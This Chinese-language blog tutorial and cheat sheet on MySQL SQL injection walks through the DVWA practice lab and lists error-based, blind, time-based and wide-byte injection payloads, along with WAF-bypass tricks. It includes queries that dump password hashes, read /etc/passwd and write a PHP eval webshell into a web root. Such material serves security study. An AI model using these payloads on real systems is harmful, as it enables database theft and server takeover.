首页 运维知识 关于【漏洞汇总SQL注入漏洞之mysql详解

关于【漏洞汇总SQL注入漏洞之mysql详解

0x01、 基本信息 1.1 基本术语 数据库: 数据库是一些关联表的集合。 数据表: 表是数据的矩阵。在一个数据库中的表看起来像一个简单的电子表格。 列: 一列(数据元素) 包含…

0x01、 基本信息

1.1 基本术语

  • 数据库: 数据库是一些关联表的集合。
  • 数据表: 表是数据的矩阵。在一个数据库中的表看起来像一个简单的电子表格。
  • 列: 一列(数据元素) 包含了相同类型的数据, 例如邮政编码的数据。
  • 行:一行(=元组,或记录)是一组相关的数据,例如一条用户订阅的数据。
  • 主键:主键是唯一的。一个数据表中只能包含一个主键。你可以使用主键来查询数据。
  • 外键:外键用于关联两个表。
    关于【漏洞汇总SQL注入漏洞之mysql详解插图

    1.2 常用命令

    # 登录
    mysql -h 127.0.0.1 -u root -p root
    

    0x02、Mysql 命令

    内置函数

    # 查看当前数据库
    select database();
    
    # 查看用户相关
    select user();
    select current_user();
    select system_user();
    select session_user();
    
    # 查看数据库版本
    select version();
    select @@version;
    select @@GLOBAL.VERSION;
    
    # 查看操作系统
    select @@version_compile_os;
    
    # 查看主机名
    select @@hostname;
    
    # 查看默认目录
    select @@datadir;
    

    查询数据库、表名、字段等信息

    在每个 MySQL 实例中都有一个独立的 information_schema,用来存储 MySQL 实例中所有其他数据库的基本信息。

    # 爆所有用户
    select group_concat(user) from mysql.user;
    
    # 爆所有数据库
    select group_concat(SCHEMA_NAME) from information_schema.schemata;
    
    # 爆当前数据库的表名
    select group_concat(table_name) from information_schema.tables where table_schema=database();
    
    # 表中有主码约束,非空约束等完整性约束条件的情况下 爆表名
    select group_concat(table_name) from information_schema.table_constraints where table_schema=database();
    
    # 爆字段名(表名是 users,加引号或十六进制编码)
    select group_concat(column_name) from information_schema.columns where table_name=\'users\';
    select group_concat(column_name) from information_schema.columns where table_name=0x7573657273;
    
    # 爆字段内容
    select first_name,password from users
    

    读写文件操作

    # 读取文件
    select load_file(\'/etc/passwd\');
    select load_file(0x2f6574632f706173737764);
    
    • load_file 的默认目录是 @@datadir
    • 文件需要有可读权限。
    • 读文件的最大容量,用 @@max_allowed_packet 查看。
    # 写入文件(需要有权限、知道绝对路径)
    select \'hello\' into outfile \'/tmp/test01\';
    select \'<?php @eval($_POST[1]);?>\' into outfile \'/var/www/html/shell.php\';
    
    select \'hello\' into dumpfile \'/tmp/test01\';
    
    • outfile 和 dumpfile 都不会覆盖文件,如果文件已存在,则报错。
    • 如果没有写权限,则报错。
    • into dumpfile 在写文件时会保持文件原生内容,常用来写二进制文件。
    • into outfile 在每一行都会加上换行符。

    查看读写权限

    使用 mysql 的读写功能需要具有一定的权限。

    secure_file_priv 参数用来限制 load_file,into outfile 等相关读写执行函数作用于哪个指定目录。

    # 查看方式
    show global variables like \'%secure%\';
    
    # 具体意义
    当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出
    当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
    当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘
    当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
    
    当 mysql.version < 5.5.53 时,默认是 null。
    

    过滤函数使用

    PHP < 5.4时;有一个 magic_quotes_gpc 配置项,当 magic_quotes is on,所有的 单引号、双引号、反斜杠和 null 都将自动使用反斜杠进行转义。在 php5.4 之后的版本不能使用这个方法进行转义。

    mysql_real_escape_string(),也是用来转义特殊字符的,但是这个扩展在 php5.5 中已经弃用,并在 php7 中删除。

    注释方法

    符号 解释
    # 注释一行
    /**/ 行内注释、多行注释
    注释一行
    ;%00 空字节注释
    ` 反引号(只能在句末使用)

    字符串连接

    select \'a\' \'d\' \'min\';
    select concat(\'a\',\'d\',\'min\');
    select concat_ws(\'_\',\'a\',\'d\',\'min\');
    select group_concat(\'a\',\'d\',\'min\');
    

    concat_ws 和 concat的区别:

    • concat_ws 全称是 concat with separator,可以添加连字符
    • concat 函数,如果有一个数值是 null,则返回值为 null,而 concat_ws 不会这样

    0x03、SQL Injection(DVWA)

    3.1 Low Security Level

    # 判断是否为注入
    ?id=1\' or \'1\'=\'1
    ?id=1\' or \'1\'=\'2
    
    # 判断字段长度(2 正常,3 异常)
    ?id=1\' order by 2 -- 
    ?id=1\' order by 3 --
    
    # 确定回显点
    ?id=1\' union select 111,222 -- 
    
    # 用户名和数据库名称
    ?id=1\' union select user(),database() -- 
    -- output:admin@localhost、dvwa
    
    # 查看当前用户和 mysql 版本
    ?id=1\' union select current_user(),version() -- 
    -- output:First name: admin@%、 5.5.47-0ubuntu0.14.04.1
    
    # 爆表名
    ?id=1\' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() -- 
    -- output:guestbook,users
    
    # 爆列名(两种办法,加引号或者十六进制编码)
    ?id=1\' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 -- 
    ?id=1\' union select 1,group_concat(column_name) from information_schema.columns where table_name =\'users\' -- 
    -- output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
    
    # 爆字段名
    ?id=1\' union select group_concat(user_id,first_name,last_name),group_concat(password) from users  -- 
    ?id=1\' union select null,concat_ws(char(32,58,32),user,password) from users -- 
    ?id=1\' union select user,password from users -- 
    -- output:admin/5f4dcc3b5aa765d61d8327deb882cf99
    
    # 读文件
    ?id=1\' union select 1,load_file(\'//tmp//key\') -- 
    
    # 写文件()
    ?id=1\' and \'1\'=\'2\' union select null,\'hello\' into outfile \'/tmp/test01\' --
    ?id=999\' union select null,\'hello\' into outfile \'/tmp/test02\' --
    ?id=999\'  union select null,\'<?php @eval($_POST["gg"]); ?>\' into outfile \'/tmp/test03\' --  
    ?id=999\' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile \'//tmp//test04\' -- 
    
    

    3.2 Medium Security Level

    使用了 mysqli_real_escape_string 函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

    此处是数字型注入,所以和特殊符号过滤关系不大,使用 hackbar 进行 POST 即可。

    # 判断注入点
    id=1 and 1=1 &Submit=Submit
    id=1 and 1=2 &Submit=Submit
    
    # 爆数据
    id=1 union select user,password from users&Submit=Submit
    

    3.3 High Secuirty Level

    此处加了个 limit 1 来限制输出,但是可以直接注释掉,解法与 Low Security Level 相同。

    3.4 Impossible Secuity Level

    采用了 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken 机制的加入了进一步提高了安全性。

    3.5 sqlmap 一把梭

    利用 sqlmap 工具进行注入

    # 爆所有数据库
    sqlmap -r 1.txt --dbs
    -- output:dvwa、information_schema、mysql、performance_schema
    
    # 爆表名
    sqlmap -r 1.txt -D dvwa --tables
    -- output:guestbook、users
    
    # 爆字段名
    sqlmap -r 1.txt -D dvwa -T users --columns
    -- output:user、password、first_name、last_login、last_name……
    
    # 爆字段内容
    sqlmap -r 1.txt -D dvwa -T users -C user,password --dump
    -- output:得到账号和 MD5 hash 后的密码
    

    0x04、SQL 注入类型

    union 注入

    参考 dvwa 的注入过程即可。

    报错注入

    可以通过 floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection 等方法来进行注入。

    floor() 报错注入【首选】

    无长度限制,首选!

    # floor() 报错 1 
    select count(*),concat(0x7e,(select version()),0x7e,floor(rand(0)*2))a from information_schema.tables group by a;
    
    # floor() 报错 2,和上面的等价
    select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
    
    # 数据库版本
    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    
    
    # 当前用户
    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    
    # 连接数据库
    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    
    # 爆数据库
    and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    
    # 爆表
    and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    
    # 爆字段
    and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x696e736572745f666c6167 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    
    # 爆内容
    and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,字段名,0x23) FROM 表名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    

    其中的 rand((0)*2)、floor()、group by 函数缺一不可.

    extractvalue() 报错注入

    • ExtractValue(xml_str,Xpath) 函数,使用 Xpath 表示从 XML 格式的字符串中提取一个值
    • 函数中任意一个参数为 NULL,返回值都是 NULL
    • 构造了不符合规定的 XpathMySQL 就会报语法错误,并显示 XPath 的内容.
    • 有长度限制,最长32位
    # 内置函数 爆当前用户、版本等等
    and extractvalue(1,concat(0x7e,user(),0x7e))
    
    # 爆数据库
    and extractvalue(1,concat(0x7e,database(),0x7e))
    
    # 爆表
    and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1 ),0x7e))
    
    # 爆字段,表名可以改成十六进制
    and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\'表名\'),0x7e))
    
    # 爆内容
    and extractvalue(1,concat(0x7e,(select group_concat(字段名) from 表名 ),0x7e))
    

    updatexml() 报错

    • updatexml(xml,xpath,new_xml)
    • 使用 nex_xml 根据 xpath 来替换 xml 字符串中特定的值
    • 有长度限制,最长32位
    # 爆版本、用户、等等内置函数均可
    and updatexml(1,concat(0x7e,version(),0x7e),1)
    
    # 爆数据库
    and updatexml(1,concat(0x7e,database(),0x7e),1)
    
    # 爆表
    and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1 ),0x7e),1)
    
    # 爆字段
    and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() limit 0,1 ),0x7e),1)
    
    # 爆内容
    and updatexml(1,concat(0x7e,(select * from 表名 limit 0,1 ),0x7e),1)
    

    name_const() 报错

    • name_const(name,value)
    • 传入的参数必须是常量,否则就会报错
    • 测试时,只有 version() 好用,其他不能用
    # 报错
    select name_const(database(),1);
    
    # 正常
    select name_const(version(),1);
    
    # 报错注入
    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
    

    exp 报错

    # 爆用户
    select exp(~(select * from(select user())x));
    
    # 爆表名
    select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
    
    # 爆列名
    select exp(~(select*from(select column_name from information_schema.columns where table_name=\'users\' limit 0,1)x));
    
    # 爆数据:
    select exp(~ (select*from(select concat_ws(\':\',id, username, password) from users limit 0,1)x));
    

    十种 MySQL 报错注入

    摘自《代码审计:企业级Web代码安全架构》一书

    1.floor()
    
    select * from users where user_id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    
    2.extractvalue()
    
    select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    
    3.updatexml()
    
    select * from users where user_id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
    
    4.geometrycollection()
    
    select * from users where user_id=1 and geometrycollection((select * from(select * from(select user())a)b));
    
    5.multipoint()
    
    select * from users where user_id=1 and multipoint((select * from(select * from(select user())a)b));
    
    6.polygon()
    
    select * from users where user_id=1 and polygon((select * from(select * from(select user())a)b));
    
    7.multipolygon()
    
    select * from users where user_id=1 and multipolygon((select * from(select * from(select user())a)b));
    
    8.linestring()
    
    select * from users where user_id=1 and linestring((select * from(select * from(select user())a)b));
    
    9.multilinestring()
    
    select * from users where user_id=1 and multilinestring((select * from(select * from(select user())a)b));
    
    10.exp()
    
    select * from users where user_id=1 and exp(~(select * from(select user())a));
    

    BOOL盲注

    盲注的时候一定注意,MySQL4 之后大小写不敏感,可使用 binary() 函数使大小写敏感。

    构造 bool 条件

    # 正常情况
    \'or bool#
    true\'and bool#
        
    # 不使用空格、注释
    \'or(bool)=\'1
    true\'and(bool)=\'1
        
    # 不使用or、and、注释
    \'^!(bool)=\'1
    \'=(bool)=\'
    \'||(bool)=\'1
    true\'%26%26(bool)=\'1
    \'=if((bool),1,0)=\'0
        
    # 不使用等号、空格、注释
    \'or(bool)<>\'0
    \'or((bool)in(1))or\'0
        
    # 其他
    or (case when (bool) then 1 else 0 end)
    

    构造逻辑判断

    常用的函数如下,可用 ASCII()、ORD()和CHAR() 函数做辅助。

    # 常用的函数
    select left(user(),1)=\'r\';
    select right(user(),1)=\'r\';
    select substr(user(),1,1)=\'r\';
    select substring(user(),1,1)=\'r\';
    select mid(user(),1,1)=\'r\';
    
    # 不使用逗号 
    user() regexp \'^[a-z]\'
    select user() like "root%";
    select POSITION(\'root\' in user());
    select mid(user() from 1 for 1)=\'r\';
    select mid(user() from 1) like "ro%";
    

    延时盲注

    几个延时的语句

    select sleep(3);
    select if((1=1),sleep(3),0);
    select (case when (1=1) then sleep(3) else 0 end);
    select BENCHMARK(100000,MD5(1)) or sleep(3);
    

    Insert & Update注入

    # insert 报错注入
    mysql> insert into guestbook values(2,\'test2\',extractvalue(1,concat(0x7e,user(),0x7e)));
    ERROR 1105 (HY000): XPATH syntax error: \'~root@localhost~\'
    
    # update 报错注入
    mysql> update guestbook set name=\'gp\' where comment_id=1 and extractvalue(1,concat(0x7e,user(),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: \'~root@localhost~\'
    
    # insert 延时盲注
    mysql> insert into guestbook values(3,\'test2\',sleep(3));
    Query OK, 1 row affected (3.03 sec)
    

    order by 后的注入

    此类型的注入,无法使用 PDO 的方式防范!

    # 报错注入
    mysql> select * from users order by 1 and extractvalue(1, concat(0x7e, (select @@version),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: \'~5.5.47-0ubuntu0.14.04.1~\'
    
    # 布尔注入
    select * from users order by IF(0,1,(select 1 union select 2));
    select * from users order by IF(1,1,(select 1 union select 2));
    

    0x05、宽字节注入

    基本信息

    SQL 注入中有一种注入方式叫做宽字节注入,是因为国内常使用 GBK 编码造成的,可以绕过 addslashes 函数对特殊字符进行的转义。

    反斜杠的十六进制是%5c,单引号的十六进制是 %27,输入 %bf%27 时,因为要转义单引号,所以就成了 %bf%5c%27,而在 GBK 编码中,%bf%5c 代表一个宽字符 缞(cuī)%bf 可以替代为 %81 - %fe 中间的任何字符。

    注:缞绖(cuī dié),在古代缞和绖是就是丧带和丧服,缞绖合在一起说就指整套丧服。

    注入方法

    宽字节注入和普通的注入很像,payload 如下:

    # 普通的注入
    ?id=1\' union select 1,2,3 # 
    
    # 宽字节注入
    ?id=1%bf%27 union select 1,2,3 # 
    
    # 剩下的 payload 就和普通注入一模一样了
    

    0x06、HTTP 参数污染

    基本信息

    先看一个例子,

    # 一个 id,两个 value
    http://www.xxxx.com/search.php?id=1&id=2
    

    不同的网站,对这个 URL 的理解不一样,百度认为 id=1,雅虎认为 id=2,谷歌认为 id=1,2,如果服务器把两个 value 都留了下来,那么就可能存在问题。

    Web服务器 参数获取函数 获取到的参数
    PHP/Apache $_GET(“par”) Last
    JSP/Tomcat Request.getParameter(“par”) First
    Perl(CGI)/Apache Param(“par”) First
    Python/Apache getvalue(“par”) All (List)
    ASP/IIS Request.QueryString(“par”) All (comma-delimited string)

    绕过 waf

    # 正常的注入
    show_user.aspx?id=5;select 1,2,3 from users where id=1--
    
    # 使用 HPP 的注入,没有了 select xxx from xxx 特征
    show_user.aspx?id=5;select 1&id=2&id=3 from users where id=1--
    

    0x07、绕过技巧

    # 大小写绕过
    selEct * fRom users;
    
    # 重写绕过
    seleselectct * frfromom users;
    
    # 拼写绕过
    参考 0x02 的字符串连接
    
    # 编码绕过,以 admin 为例
    select CHAR(97, 100, 109, 105, 110);
    
    # 十六进制编码
    SELECT FROM Users WHERE username = 0x61646D696E
    

    0x08、奇淫巧技

    利用 where 语句爆数据

    关于【漏洞汇总SQL注入漏洞之mysql详解插图1

    无列名读数据

    生成一个虚拟表:
    select 1,2,3 union select * from guestbook
    关于【漏洞汇总SQL注入漏洞之mysql详解插图2

    把生成的虚拟表,利用表名,来进行查询,反引号是对应的列。
    select `2`,`3` from(select 1,2,3 union select * from guestbook)as a;
    关于【漏洞汇总SQL注入漏洞之mysql详解插图3
    以上就是小编给大家讲解的

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。

作者: 小小编

为您推荐

dell R710 更换raid卡后,raid卡信息没有了,处理方案

dell R710 更换raid卡后,raid卡信息没有了,处理方案

1.将一台服务器(A)的硬盘依次拔出,按相同顺序插入另一台同样配置的服务器(B) 2.启动服务器(B) 3.按提示键盘按...
PL SQL Developer 13连接Oracle数据库并导出数据详细操作教程方法

PL SQL Developer 13连接Oracle数据库并导出数据详细操作教程方法

下载 并安装 PL SQL Developer 13,默认支持中文语言 ========================...
关于一条sql语句在mysql中是如何执行的

关于一条sql语句在mysql中是如何执行的

最近开始在学习mysql相关知识,自己根据学到的知识点,根据自己的理解整理分享出来,本篇文章会分析下一个sql语句在my...
关于sql注入姿势总结(mysql)

关于sql注入姿势总结(mysql)

前言 学习了sql注入很长时间,但是仍然没有系统的了解过,这次总结一波,用作学习的资料。 从注入方法分:基于报错、基于布...
关于Oracle SQL外连接

关于Oracle SQL外连接

SQL提供了多种类型的连接方式,它们之间的区别在于:从相互交叠的不同数据集合中选择用于连接的行时所采用的方法不同。 连接...

发表回复

返回顶部